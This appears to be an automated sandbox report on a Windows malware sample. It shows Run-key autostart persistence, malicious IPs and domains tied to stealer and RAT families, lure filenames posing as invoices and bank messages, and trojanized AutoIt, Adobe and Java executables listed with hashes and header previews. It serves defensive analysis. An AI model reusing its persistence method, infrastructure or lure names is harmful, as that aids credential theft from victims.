06:05:36	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Sdvvfamy C:\Users\Public\Sdvvfamy.url
06:05:44	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Sdvvfamy C:\Users\Public\Sdvvfamy.url

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.248.148.254	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	ww12.przvgke.biz/jenyp?usid=26&utid=9204704395
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	ww38.begantotireo.xyz/favicon.ico
	http://begantotireo.xyz	Get hash	malicious	Unknown	Browse	ww38.begantotireo.xyz/favicon.ico
	http://football-booster.freevisit1.com/hs-football.php?live=Greendale%20vs%20Milwaukee%20Lutheran	Get hash	malicious	Unknown	Browse	ww38.watchdogsecurity.online/favicon.ico
	65BD7E49FE292748F0C504DCBEFDB0AD86E69C8349D7253D0E95EBF1BF0110B0.exe	Get hash	malicious	Bdaejec, Socelars	Browse	ww12.icodeps.com/?usid=26&utid=7334446481
	eqqjbbjMlt.elf	Get hash	malicious	Unknown	Browse	ww38.fmoovies.to/
	http://www.multipool.us	Get hash	malicious	Unknown	Browse	ww12.multipool.us/track.php?domain=multipool.us&caf=1&toggle=answercheck&answer=yes&uid=MTcyMDYyMjM5MS4yMjM1OjVjOTE5YWZmN2E1ZDQyNWY5MDE0Nzg0YzIwZGI1NzNiMGZkYzI3MWFiMWE0MGU0NzBjYjkyZjk4MmNlNjdjZDI6NjY4ZTlkMzczNjkwYg%3D%3D
	http://pollyfill.io	Get hash	malicious	Unknown	Browse	ww38.pollyfill.io/favicon.ico
	http://simxtrackredirecttszz.pages.dev/	Get hash	malicious	Unknown	Browse	ww12.ngelit.com/favicon.ico
	file.exe	Get hash	malicious	CMSBrute	Browse	ww12.runfoxyrun.com/administrator/index.php?usid=18&utid=25958170171
172.234.222.143	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	fwiwk.biz/kbtuvb
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	fwiwk.biz/lrhpwoxhabbo
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	przvgke.biz/dadmwtnbmefxvi
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	fwiwk.biz/mhwavs
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	fwiwk.biz/jwvwqanfys
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	htwqzczce.biz/qccuqoixlchlyacl
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	fwiwk.biz/t
	E_dekont.cmd	Get hash	malicious	DBatLoader, Nitol, PureLog Stealer, XWorm	Browse	fwiwk.biz/fvthsigvq
	Y2EM7suNV5.exe	Get hash	malicious	MassLogger RAT	Browse	fwiwk.biz/hbfipefumdnnq
	AsusSetup.exe	Get hash	malicious	Unknown	Browse	przvgke.biz/ejhxrp

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ssbzmoy.biz	RFQ _ Virtue 054451000085.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
przvgke.biz	RFQ_PO N89397-GM7287-Order.bat.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.138
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	172.234.222.143
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.143
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	172.234.222.138
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	172.234.222.143
76899.bodis.com	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	199.59.243.227
	http://readabilityscore.com	Get hash	malicious	Unknown	Browse	199.59.243.226
	http://bonalluterser.com/	Get hash	malicious	Unknown	Browse	199.59.243.226
	file.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc, Xmrig	Browse	199.59.243.225
	S23UhdW5DH.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc	Browse	199.59.243.225
	xPUqa4qbDL.js	Get hash	malicious	Unknown	Browse	199.59.242.153
knjghuig.biz	Ziraat_Swift.hta	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	invoice_96.73.exe	Get hash	malicious	FormBook	Browse	18.141.10.107
	Order SMG 201906 20190816order.pdf.scr.exe	Get hash	malicious	AgentTesla, MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	C6dAUcOA6M.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	18.141.10.107
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	Ziraat_Bankasi_Swift_Mesaji_DXB04958T.cmd	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	18.141.10.107
	AENiBH7X1q.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	18.141.10.107

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	la.bot.arm6.elf	Get hash	malicious	Mirai	Browse	165.254.13.47
	https://quiet-sun-5d9f.atmos4.workers.dev/login	Get hash	malicious	Unknown	Browse	23.215.17.144
	WebUI.dll	Get hash	malicious	Metamorfo	Browse	172.233.20.237
	WebUI.dll	Get hash	malicious	Unknown	Browse	172.233.20.237
	EgnyteDesktopApp_3.19.0_148.msi	Get hash	malicious	Unknown	Browse	23.200.0.17
	Msig Insurance Europe.pdf	Get hash	malicious	Unknown	Browse	23.195.39.65
	jew.arm6.elf	Get hash	malicious	Unknown	Browse	104.109.128.196
	jmggnxeedy.elf	Get hash	malicious	Unknown	Browse	172.234.216.52
	Fw 2025 Employee Handbook For all Colhca Employees Ref THEFUE.eml	Get hash	malicious	Unknown	Browse	23.195.39.65
	https://m0g9861wc1.execute-api.us-east-1.amazonaws.com/uyt/#alissa.bessette@eastwesttea.com	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.116.245.11
AMAZON-02US	Orden_de_Compra_Nmero_6782929219.xls	Get hash	malicious	HTMLPhisher	Browse	54.150.207.131
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	54.150.207.131
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	54.150.207.131
	OrderSheet.xla.xlsx	Get hash	malicious	Unknown	Browse	54.150.207.131
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	18.218.112.132
	rebirth.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	54.99.33.239
	rebirth.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	54.171.230.55
	rebirth.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	35.155.250.157
	rebirth.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	13.50.115.226
	rebirth.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	34.242.244.192

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1353216
Entropy (8bit):	5.324375498442742
Encrypted:	false
SSDEEP:	12288:YC4VQjGARQNhiIXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DB9:YOCAR0iIsqjnhMgeiCl7G0nehbGZpbD
MD5:	D4BD8AD02E9CA15C4291FA5C0923C9D0
SHA1:	836A1FA2A5493C7E396B30C7E4F02EABFD8DD092
SHA-256:	2292F175A6F3446B74C35041073E348090E5252DC85B3D8C2B8C217435110016
SHA-512:	38313457E2857C3E166C75AAE7BBB45203EBD4EBC9F8EB5875B1DB66FA851CC0858385B8125FFB571E6BD560039B4D764D8E98696060CFD51692B1E28ED7138B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........S.~.2.-.2.-.2.-n.G-.2.-n.E-J2.-n.D-.2.-.Z.,.2.-.Z.,.2.-.Z.,.2.-.J%-.2.-.2.-.2.-.[.,.2.-.[I-.2.-.2!-.2.-.[.,.2.-Rich.2.-........................PE..L...g.(c.....................6......&........0....@...........................!.....3r......................................,b..<....p...............................L..8............................L..@............0..,............................text............................... ..`.rdata...8...0...:..."..............@..@.data........p.......\..............@....rsrc....P...p...@...f..............@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1294848
Entropy (8bit):	5.2826842616152305
Encrypted:	false
SSDEEP:	12288:tNUpaKghnXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:tCMKghsqjnhMgeiCl7G0nehbGZpbD
MD5:	E8B15A90322FDFCB1E2921460BFC4D9B
SHA1:	5D09913CB84D80777941C16C6A38C63957986AF2
SHA-256:	3AF96ACD66A82D692D981447AA1F4E749B0004B5ED1310E86463C9C39D9F399E
SHA-512:	C7D142FB9AE4C26D79AEC3EF6D7EE636CCDE6149200343C1F4F30B2F1BADC39A5A62B81C4264BBF94E6EF4829F770A3ED64E7FE4F1F998D33690D1824FCC4608
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........jZ..9Z..9Z..9...9Q..9...9%..9...9B..9...8r..9...8K..9...8H..9S.x9W..9Z..9..9...8]..9...9[..9Z.\|9[..9...8[..9RichZ..9........PE..L...C.(c.........."......:...........\.......P....@........................... ......B......................................$...........0..............................8...............................@............P...............................text...19.......:.................. ..`.rdata...\|...P...~...>..............@..@.data...............................@....rsrc...0...........................@..@.reloc...`...`...P...r..............@...........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1314304
Entropy (8bit):	5.2741298149489975
Encrypted:	false
SSDEEP:	12288:3MEhwdbT0Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3kbE:pKdH0sqjnhMgeiCl7G0nehbGZpbD
MD5:	EB9E3362ED7AAEE228EBE420B9278CF8
SHA1:	58F764F9D71A60371BB33F82D0F31741897819CB
SHA-256:	8A0C0385C44CC49CF75BE4626E7445E67CA8AAFF3F1EDFA1636B7EBD04C0D262
SHA-512:	AD4EFD80F255B5705CAB1867EA45E5E5521AA4D34C9ABAC6DA45DC755348F06F4027A6013E2BD16E25167C7636378B664391B7A54E4EA409ECD66DB234817799
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9..X...X...X..-....X..-....X..-....X...0...X...0...X...0...X... n..X...X..YX..<1.X..<1...X...Xj..X..<1...X..Rich.X..........................PE..d...G.(c.........."......J...^......Tr.........@............................. !........... .................................................,........ ..0...............................8............................................`..`............................text....H.......J.................. ..`.rdata.......`.......N..............@..@.data........ ......................@....pdata..............................@..@.rsrc...0.... ......."..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2203136
Entropy (8bit):	7.647028228244806
Encrypted:	false
SSDEEP:	49152:UK0eqkSR7Xgo4TiRPnLWvJYDmg27RnWGj:UK0pR7Xn4TiRCvJYD527BWG
MD5:	FEF14850411DDA0057CB8080627E924E
SHA1:	D906C35CA92672EE6615B59120AF2C0533F1750B
SHA-256:	8016D4E7094716CE2939A5D8CB7182E7DD2FE5A5D8FA03448BA0E17225BCE69C
SHA-512:	0BE9173EE67C36607AA07392E1E40A8F626D5CF1D8F9FE0BF59638F147CE6775B35E182B5D6DCAFCCC9864625D9993EDA0FA0A3F21BFF0F68BBE01CDC483E0DE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................Y;6....Y;4.x...Y;5...........................D......T...........H......H.8.....P....H......Rich...................PE..L...9.(c..........#..................d............@...........................".......!..............................................p..X...............................p...............................@...............X............................text.............................. ..`.rdata..$H.......J..................@..@.data....@... ......................@....rsrc........p......................@...................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2369024
Entropy (8bit):	7.565055213660454
Encrypted:	false
SSDEEP:	49152:0fYP1JsEDkSR7Xgo4TiRPnLWvJYDmg27RnWGj:0YPBR7Xn4TiRCvJYD527BWG
MD5:	E93AB44839E7C99F5DA6DAC478ABCC22
SHA1:	BEA13EF34C1F3ED22A5B502BADB4D45206CF8BDD
SHA-256:	4B68C54F7E132D597EC3656D27BDC68E9079B397CB87175A7E407A9E75FD283E
SHA-512:	5BD9EC41F22ABF534F55AAEB4D29D4E2BC04FA8489DEC41C66DF84B913A56A9AF3D09A3789616ACC23895AF927D1D8CACE24FC416780BBB42867975C402B7F0E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<y..x...x...x....~.s....\|......}.a...p..i...p..p...*p..H...q`..z...q`..a...x...s....q..[....qp.y...x...z....q..y...Richx...........PE..d...>.(c..........#..........0......(..........@..............................$......w$... .............................................................X........e...................n..p...................0p..(...0o...............0...............................text............................... ..`.rdata.......0......."..............@..@.data....R...0... ... ..............@....pdata...e.......f...@..............@..@.rsrc...............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1245184
Entropy (8bit):	5.1235531492868684
Encrypted:	false
SSDEEP:	12288:u62SYUcknn6Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/np9DBDt3b:zYUckn6sqjnhMgeiCl7G0nehbGZpbD
MD5:	FD0F16C283F990CDB6374558D3BC17A7
SHA1:	38C5E732A1AC1E902E481FBA934F950891C0C647
SHA-256:	CE0154101D58C6D7C56ADF263342E45771F1102C2AB3AE7FFB9FC4A3BD2DCF9D
SHA-512:	54A6FFD6902D25366885C47DB57BA225EE64E8E0B468F5D2C4FD79825BD679F2D5DF03D11983FFF4F4410BBB881778A1FDA59C18F928FB989907D55BA0AD6E1E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........[m..5>..5>..5>OC.>..5>OC.>..5>OC.>..5>..0?..5>..1?..5>..6?..5>.>..5>..4>..5>.>..5>^.<?..5>^..>..5>..>..5>^.7?..5>Rich..5>........................PE..L.....(c..........................................@..........................@.......G.......................................%..d....P.................................8...............................@...............t............................text.............................. ..`.rdata...^.......`..................@..@.data...l....0....... ..............@....rsrc.......P.......*..............@..@.reloc...`.......P..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1640448
Entropy (8bit):	7.166637768180148
Encrypted:	false
SSDEEP:	49152:i+iAqSPyC+NltpScpzbtvpJoMQSq/jrQaScDmg27RnWGj:mSktbpOD527BWG
MD5:	2BB38F3CD523D5DBD1B69FCB513DB45F
SHA1:	8D4F278C83000962C94170FA4311C9D3ED89E281
SHA-256:	37F2B09E545F33C43207CAABDEA0AE7F98D531A32C252C150BB18C755FA1AD68
SHA-512:	85BC9016CD58141A3419B74CE8465DFC1C17414B3D3181029ABC557CCED27E7E679501DAAE05CF5EC48559FAB7FABDDEC179FC4AF04115D48A271C71DD37A5E1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......}0tp9Q.#9Q.#9Q.#...#,Q.#...#.Q.#...#.Q.#...#8Q.#k9.".Q.#k9."(Q.#k9."1Q.#0).#1Q.#0).#8Q.#0).#.Q.#9Q.#.S.#.8."hQ.#.8."8Q.#.8.#8Q.#9Q.#;Q.#.8."8Q.#Rich9Q.#........PE..d...3.(c.........."......H...*.......Z.........@.......................................... ...@...............@..............................l..\|.......P....P...o.................. .......................p...(...@................`..8............................text...<G.......H.................. ..`.rdata..\|B...`...D...L..............@..@.data... ........P..................@....pdata...o...P...p..................@..@.rsrc...P............P..............@..@.reloc...............(..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2953728
Entropy (8bit):	7.094597049390765
Encrypted:	false
SSDEEP:	49152:LGSXoV72tpV9XE8Wwi1aCvYMdVluS/fYw44RxLjDmg27RnWGj:T4OEtwiICvYMRfDD527BWG
MD5:	36AB6B8B81D7C4D1F58A9BC7BC646EDD
SHA1:	93FAD037C5970C710551042F05C090FC2EF6D460
SHA-256:	DD47C9CD6D6ADC56318636297E8D7117D6E0FD06B9B98CDD748B8990B014E666
SHA-512:	96AE5233D2073A753AC023257A43533CF17078A9395A6433DDCFF00409A2613B1BD1A4517296CF748493472F7F979A5A3F58BD1AF9BA1B180B72B932355BA394
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~....................@..........................P-.....................................p...<............@ .............................@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1485824
Entropy (8bit):	5.496373504578079
Encrypted:	false
SSDEEP:	24576:HAMuR+3kMbVjhYsqjnhMgeiCl7G0nehbGZpbD:gD+lbVjhEDmg27RnWGj
MD5:	56CD71808ACF05929FE1B68FBCEE3CED
SHA1:	0FDD9FE1FEB19008F7F912B8415EF37CD47F8B6F
SHA-256:	27910A860633A0AC53D3579E5A0C9F90603CB4AF9CFCF0FA9C0BF0E7095913C0
SHA-512:	4A21E5772D484E8F58844333DCE6D86030F0316D76B5F8EF6310A824D28D357AD5373C7E61571A4B4585693714EB4B95E00C70F2D2934E9EF4F68C71CDF5DA7C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4...Uu..Uu..Uu..=v..Uu..=q..Uu..=p.pUu..=s..Uu..8q..Uu..8v..Uu..8p.@Uu.....Uu..=t..Uu..Ut..Wu.Z;p..Uu.Z;...Uu..U...Uu.Z;w..Uu.Rich.Uu.................PE..L......d.................N...P...............`....@..................................J.......................................`..@.......(...............................T...............................@............`..L............................text...zL.......N.................. ..`.rdata.......`.......R..............@..@.data...\D...........p..............@....rsrc...(...........................@..@.reloc...........p...<..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1290240
Entropy (8bit):	5.277752246227892
Encrypted:	false
SSDEEP:	12288:yImGUcsvZZdubv7hfl30Xc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wlb:yxGBcmlksqjnhMgeiCl7G0nehbGZpbD
MD5:	BD3B960B1EFB321AF06FE54D1D30C855
SHA1:	9CD255F0C702C0AF29D6DEB5AF7C3E0BEE0651A7
SHA-256:	53CCE4F01997497F9C4BC4B6BF33174181AD69699C2307066F1FF3A368B5DEFA
SHA-512:	FE1FC27185DF9920D83EA6B86F2DD0285389ED1BB11F217DCFBF340E137288823924E3ED9F1214E7CBFD6E79B26E35C42F3691B4B54C86B8123D9E6481512A52
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........]...3...3...3...0...3...6.h.3.,.7...3.,.0...3.,.6...3...7...3...2...3...2.G.3.e.:...3.e....3.....3.e.1...3.Rich..3.................PE..L...}..d..........................................@.........................................................................`D......................................@...p...........................p...@....................B.......................text.............................. ..`.rdata..t...........................@..@.data........`.......@..............@....didat..4............N..............@....rsrc................P..............@..@.reloc...`.......P...`..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1644544
Entropy (8bit):	5.694781502867505
Encrypted:	false
SSDEEP:	24576:o0vHyeLj8trn3wsqsqjnhMgeiCl7G0nehbGZpbD:ptj4rgs+Dmg27RnWGj
MD5:	664CE19D6A9D8C49DE22D9C24D776C7F
SHA1:	B4C41A4B4A6BF5788EA33E6DDB02B3BD759414AD
SHA-256:	B6BC0A292FF623B33210EDFE145CF97155A9B4DA4DE9C346CDBACC7D7669EE32
SHA-512:	21206D2EB113E82595ECB5B228D26FBF3FCA7798EE7F985A7A27B2DD519E43C77E74D36F6F6BF052F98B5A0C3C8C637D5A8293430777446CCAA7125AE60D17D6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g=H(#\&{#\&{#\&{77%z2\&{77#z.\&{A$.{"\&{A$"z1\&{A$%z5\&{A$#zu\&{77"z;\&{77 z"\&{77'z4\&{#\'{.\&{.%"z$\&{.%#z.\&{.%.{"\&{#\.{!\&{.%$z"\&{Rich#\&{........PE..L.....d............................7........0....@..........................`.......P......................................<........P...\|..........................0m..............................pl..@............0..t............................text...?........................... ..`.rdata.......0......................@..@.data....3....... ..................@....rsrc....\|...P...~..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1781760
Entropy (8bit):	7.2796520285468524
Encrypted:	false
SSDEEP:	24576:eoMOW0n7Ubxk/uRv5qLGJLQ4a56duA/85RkV4l7/ZvsqjnhMgeiCl7G0nehbGZpv:b4i0wGJra0uAUfkVy7/ZTDmg27RnWGj
MD5:	95FFC09729ABC66B558DF0EF7343B803
SHA1:	F660F3CC7B38BCAF1673284E817F75430B7ED3C6
SHA-256:	587062D8420A4E90B5B75202ACA9C8DC9E961246604E96293C6ECDAA8E13DDBE
SHA-512:	161951D27ED9FB95A1AA9E9C6104FF788C4923083F17443EEF87C3F02A712C1373A8B04230585053027E60BA91F1B507955C09E4647A43C8C4C457E99DB2C143
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$...................................p.....l.......................................................<......<....<.n.............<......Rich............................PE..L.....d.................:...*...............P....@............................................................................,.......................................................................@............P...............................text....8.......:.................. ..`.rdata.......P.......>..............@..@.data...PG...0...2..................@....rsrc................D..............@..@.reloc...p.......`..................@...................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1318400
Entropy (8bit):	7.448738764083758
Encrypted:	false
SSDEEP:	24576:KeR0gB6axoCf0R6RLQRF/TzJqe58BimQsqjnhMgeiCl7G0nehbGZpbD:GgHxmR6uBTzge5MimMDmg27RnWGj
MD5:	7A4B29624BD70D7B7807095073F7C451
SHA1:	0151D8D343B761DA7D6F6C56C8EC3EAE1A17C22C
SHA-256:	E8B86A47128C990C02F35A433725C96B2602CD05D2735DC27F7ECBB3728AB872
SHA-512:	2E2C9846AD709199FE1698466F83C50930D89A668BFB867AF0B3A500DC97ABFE57E3EA103E733282792DA5BC7FFCE0F0ADC30C33076F1D65F895AB9504E4CC42
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........r.b.!.b.!.b.!... .b.!... xb.!..1!.b.!... .b.!... .b.!... .b.!... .b.!... .b.!... .b.!.b.!.c.!?.. .b.!?.. .b.!?.3!.b.!.b[!.b.!?.. .b.!Rich.b.!........PE..L.....d..........................................@..........................`..............................................t$.....................................`T...............................S..@............................................text...L........................... ..`.rdata..0Z.......\..................@..@.data...8<...@...(...&..............@....rsrc...............N..............@..@.reloc...P.......@..................@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe

Download File

Process:	C:\Users\Public\Libraries\ymafvvdS.pif
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1375232
Entropy (8bit):	5.446047452618332
Encrypted:	false
SSDEEP:	12288:7nEbH0j4x7R6SvyCMaXc3ajG+hjQKymY8efKCpD7Gj9G6G1qT8nQkCu83L3Wl/nT:7kwOtO7asqjnhMgeiCl7G0nehbGZpbD
MD5:	5DF2B9783C1A770CA79D3500BDB71758
SHA1:	E9489A78FC1322D92801954D7B049EE8695ADDC9
